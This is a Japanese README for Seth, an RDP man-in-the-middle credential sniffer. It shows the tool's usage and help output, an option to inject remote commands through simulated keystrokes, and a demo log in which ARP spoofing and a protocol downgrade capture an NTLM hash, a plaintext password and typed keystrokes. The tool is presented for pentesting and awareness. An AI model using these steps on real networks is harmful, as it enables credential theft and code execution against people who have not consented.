Seth

Seth は Python と Bash で書かれたツールで、RDP 接続を MitM し、接続のダウングレードを試みることで平文の認証情報を抽出します。ペンテスト、ワークショップ、講演などにおいて、適切に設定された RDP 接続の重要性について認識を高め、教育するために開発されました。作者は Adrian Vollmer (SySS GmbH) です。

使い方

以下のように実行します:

$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]

RDP ホストが被害マシンと同じサブネット上にない限り、最後の IP アドレスはゲートウェイの IP アドレスでなければなりません。

最後のパラメータはオプションです。キー押下イベントインジェクションにより WIN+R をシミュレートして、RDP ホスト上で実行されるコマンドを含めることができます。キーストロークインジェクションは、被害者が使用しているキーボードレイアウトに依存します。現在、英語 US レイアウトでのみ確実に動作します。特殊文字を避けるため、powershell -enc <STRING> を使用することをお勧めします。ここで STRING は UTF-16le および Base64 エンコードされたコマンドです。ただし、calc はかなり普遍的で、目的を達成できます。

シェルスクリプトは ARP スプーフィングを実行して中間者 (Man-in-the-Middle) の位置を確保し、トラフィックを RDP プロキシ経由で流れるようにリダイレクトします。プロキシは単独で呼び出すことも可能です。これは、Seth を Responder と組み合わせて使用したい場合に便利です。Responder を使用して中間者の位置を確保し、同時に Seth を実行します。詳細については seth.py -h を実行してください:

usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
               [-j INJECT] -c CERTFILE -k KEYFILE
               target_host [target_port]

RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017

positional arguments:
  target_host           target host of the RDP service
  target_port           TCP port of the target RDP service (default 3389)

optional arguments:
  -h, --help            show this help message and exit
  -d, --debug           show debug information
  -f, --fake-server     perform a 'fake server' attack
  -p LISTEN_PORT, --listen-port LISTEN_PORT
                        TCP port to listen on (default 3389)
  -b BIND_IP, --bind-ip BIND_IP
                        IP address to bind the fake service to (default all)
  -g {0,1,3,11}, --downgrade {0,1,3,11}
                        downgrade the authentication protocol to this (default
                        3)
  -j INJECT, --inject INJECT
                        command to execute via key press event injection
  -c CERTFILE, --certfile CERTFILE
                        path to the certificate file
  -k KEYFILE, --keyfile KEYFILE
                        path to the key file

詳細については、doc/paper の PDF を参照してください（またはコードを読んでください！）。このペーパーには対策の推奨事項も含まれています。

Youtube で20分のプレゼンテーション（デモは 14:00 から）も視聴できます: https://www.youtube.com/watch?v=wdPkY7gykf4

または、デモのみ（字幕付き）をこちらでご覧ください: https://www.youtube.com/watch?v=JvvxTNrKV-s

デモ

以下の出力は攻撃者の視点を示しています。Seth はオフラインでクラック可能なハッシュと平文パスワードの両方を取得します。この例では NLA は強制されておらず、被害者は証明書の警告を無視しています。

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   [email protected]
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] Cleaning up...
[*] Done.

必要条件

python3
tcpdump
arpspoof

arpspoof は dsniff の一部です
openssl

免責事項

使用は自己責任で行ってください。関係者全員の完全な同意なしに使用しないでください。教育目的のみにご利用ください。

Seth

人気

Seth

使い方

デモ

必要条件

免責事項